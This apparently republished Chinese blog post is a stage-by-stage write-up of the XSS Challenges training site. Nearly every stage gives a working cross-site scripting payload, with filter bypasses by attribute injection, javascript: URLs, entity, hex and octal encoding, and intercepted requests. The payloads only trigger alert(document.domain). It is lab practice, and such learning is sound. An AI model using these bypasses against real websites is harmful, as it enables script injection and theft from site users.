前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS模拟实战训练【XSS Challenges平台】

XSS模拟实战训练【XSS Challenges平台】

作者头像
字节脉搏实验室
发布2020-03-08 14:35:44
1.3K0
发布2020-03-08 14:35:44
举报

文章源自【字节脉搏社区】-字节脉搏实验室

作者-whit

先放上网址:http://xss-quiz.int21h.jp

这是一个模仿真实xss挖洞的情景,在XSS Challenges练习过程中,我们需要用浏览器中的f12中搜索(),找出我们控制的代码所在的位置,然后思考那些个位置哪个或哪几个位置可以被注入我们想要的代码,然后结合上下文进行各种脑洞绕过。

建议使用firefox浏览器,搭配burp进行练习。

Stage #1

这一道题发现我们写入的内容直接没有任何过滤,嵌套在一个<b>标签里面,我们常规闭合标签新建标签即可。

代码语言:javascript
复制
"</b> <script>alert(document.domain)</script><b>"1"

Stage #2

这一题的注入点是在一个input标签的value属性那里,我们前后闭合input标签然后在中间加上script就好了。

代码语言:javascript
复制
"><script>alert(document.domain)</script><

Stage #3

这一道题我们的注入点也是在<b>标签里面,唯一的不同是用于标签构造的<>被转义了,用于匹配掉双引号的双引号也被转义了,所以我们要另外想方法。

我们注意到提交的参数并不只有输入框中的内容,还有country,也就是数据包中的p2

所以抓包,改包,发包,成功。

查找,我们可以看到我们注入的标签无任何过滤插入到了<b>标签上。

代码语言:javascript
复制
p1=1&p2=<script>alert(document.domain)</script>

Stage #4

这里依然是先抓包,发现有个hackme….

我们构造参数,直接提交,发现直接就过了。

代码语言:javascript
复制
p1=1&p2=Japan&p3="><script>alert(document.domain)</script>"

Stage #5

与Stage#2几乎一样,也是value参数,唯一的不同点是在前端限制了输入的长度,我们直接用bp抓包提交就好了。

代码语言:javascript
复制
"><script>alert(document.domain)</script><

Stage #6

与Stage#2几乎一样,也是value参数,唯一不同的是过滤了<>,但没有过滤”(可以闭合前面的属性),这样我们就不可以用新的标签了,但我们可以在<input>标签里面加新的属性。之后再次点击输入框即可通过本关。

代码语言:javascript
复制
" onclick=alert(document.domain) name="1

Stage #7

这道题也是value出问题,但除了<>,这道题把”也过滤了,本来以为这样就不能把独立的属性分隔出来,但我直接使用前一道题的参数,竟然成功触发了alert。

代码语言:javascript
复制
" onclick=alert(document.domain) name="1

Stage #8

题目是输入一条url,然后后台把它包在一个<a>标签里,我们需要点击超链接然后弹窗。

我们百度怎么在url中执行js,学到可以构造参数,然后点击超链接,点击过关

代码语言:javascript
复制
javascript:alert(document.domain)

Stage #9

这道题卡住了,暂时没做出来。先用改包的方式绕过。拦截返回的数据包,修改如下:

代码语言:javascript
复制
<code>alert(document.domain);</code>
代码语言:javascript
复制
<script>alert(document.domain);</script>

这道题我们只能用抓包的功能过。(每一道题都可以)

Stage #10

这个也是value注入点,直接在网页提交发现,后台把domain过滤掉了。

上网找了下document.domain的等效DOM发现没有,突然想到是不是只匹配了一次,故嵌套domain

成功弹窗。

代码语言:javascript
复制
"><script>alert(document.domdomainain)</script><

Stage #11

也是value注入点,在网页中各种提交姿势试一下,发现script前面加个x,on事件全部不能用,想到除了on事件和script之外还能执行js的是构造a标签在超链中执行js。

构造”><a href=javascript:alert(document)>1</a>< ,发现构造的语句中仍然有script,我们把之中的s进行html实体化,s=&#115;

代码语言:javascript
复制
"><a href=java&#115;cript:alert(document.domain)>1</a><

发现被渲染成s了,成功弹窗。(还可以在script中间插入&#09;,&#10;,空格等不可见字符对script进行分割,让正则匹配不到)

做这道题又把unicode,utf-8,url编码,html实体等看了一遍,发现它们英文部分有很多相同之处,比如都可以表示为ascii的十、十六进制,只要加不同前缀就好了。

Stage #12

照常尝试,还是value值,过滤了<>和”,想用编码能不能绕过(因为过滤了<>”,HTML实体是不行的,html实体不能让内容逃出来),ie浏览器会把 ` `(笔记本1左边那颗键两次)识别为双引号,从而让我们的内容逃出来(<>没法逃就设置属性),构造payload。由于我用的火狐,并没有成功,老方法,抓包绕过。

代码语言:javascript
复制
`` onclick=alert(document.domain)

Stage #13

照常转义了<>和”,F12发现相比以往的题这道题多了一个style属性,那肯定就是从这里入手了。

百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码)

我在ie下试了很久都不能复现,又百度,发现还有一种利用方法 background:url(javascript:alert('xss'));

还是不能复现,只能归结为ie版本太高的问题了。

这道题卡住了,暂时没做出来。先用改包的方式绕过。拦截返回的数据包,修改如下:

代码语言:javascript
复制
<code>alert(document.domain);</code>
代码语言:javascript
复制
<script>alert(document.domain);</script>

Stage #14

和Stage #13几乎一样,不同的是转移了了script和expression,想用&#num;的形式实体一下其中的字母,但发现&号也被转移了mmp,然后试了下/**/应该也是可以的,可惜不能复现。从大佬的WP上有学来集中绕过方法。

(1)能绕WAF的不止html实体,unicode编码也行如e -> \0065 ,\u0065 ;\0065xpression(这道题过滤了反斜杠,反斜杠零)

(2)在expression中加反斜杠分隔 ;ex\pression(不行,理由同上)

(3)在expression中加注释符/**/分隔;ex/**/pression 通过

(4)在expression中加反斜杠零分隔;ex\0pression 通过

这道题卡住了,暂时没做出来。先用改包的方式绕过。拦截返回的数据包,修改如下:

代码语言:javascript
复制
<code>alert(document.domain);</code>
代码语言:javascript
复制
<script>alert(document.domain);</script>

Stage #15

随便试了下,照常转义<>,”,也转义了&,过滤了\让我们不能构造html实体,和unicode编码。~~等等!

\是过滤了,不是转义了!我们试试输入两个\,发现只过滤了一个!

那就直接unicode就行了(就是\\003c和\\003e代替<>换成十六进制编码也就是\\x3c,\\x3e也是可以的)

代码语言:javascript
复制
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

Stage #16

看到又有document.write,试了试上题的利用代码,直接过了……看了下hint,发现是替换了\x,那与上题唯一的区别就是十六进制编码不能用了。ps:还有一种编码格式是八进制编码?学到一个知识点叫 HTML和javascript的自解码机制.payload如下:

代码语言:javascript
复制
\\74img src=x onclick=alert(document.domain)\\76

点击一下生成得图片即可过关。

Stage #17

题目说了只能在老ie上复现,那我们就直接看大佬WP好了。

类似于sql注入的宽字节注入,用%A7(%几都行,只要符合下面大佬WP中可以用来欺骗的编码)加上双引号的%34?让html自解码机制误认为这是宽字节字符,从而弄掉双引号。

半角片假名使用两个字节来表示:0x8E + 0xA1-0xDF

JIS X 0208字元使用两个字节来表示:0xA1-0xFE + 0xA1-0xFE

JIS X 0212字元使用三个字节来表示:0x8F + 0xA1-0xFE + 0xA1-0xFE

Stage #18

也是老版本ie,跳过不写。

Stage #19

没有任何输入点,抓包没发现任何东西….

这个不会,抓包跳过。

结尾有个排行榜,可以参观一波,看来练习得人不少。

写在最后:

菜鸡就是菜鸡,没有全搞定,有兴趣得师傅可以尝试做一下,有答案可以评论告诉我,让我也跟大家涨一波姿势。如有错误勿喷,请及时指出,作者会马上修改。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Stage #1
  • Stage #2
  • Stage #3
  • Stage #4
  • Stage #5
  • Stage #7
  • Stage #8
  • Stage #12
  • Stage #17
  • Stage #18
  • Stage #19
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档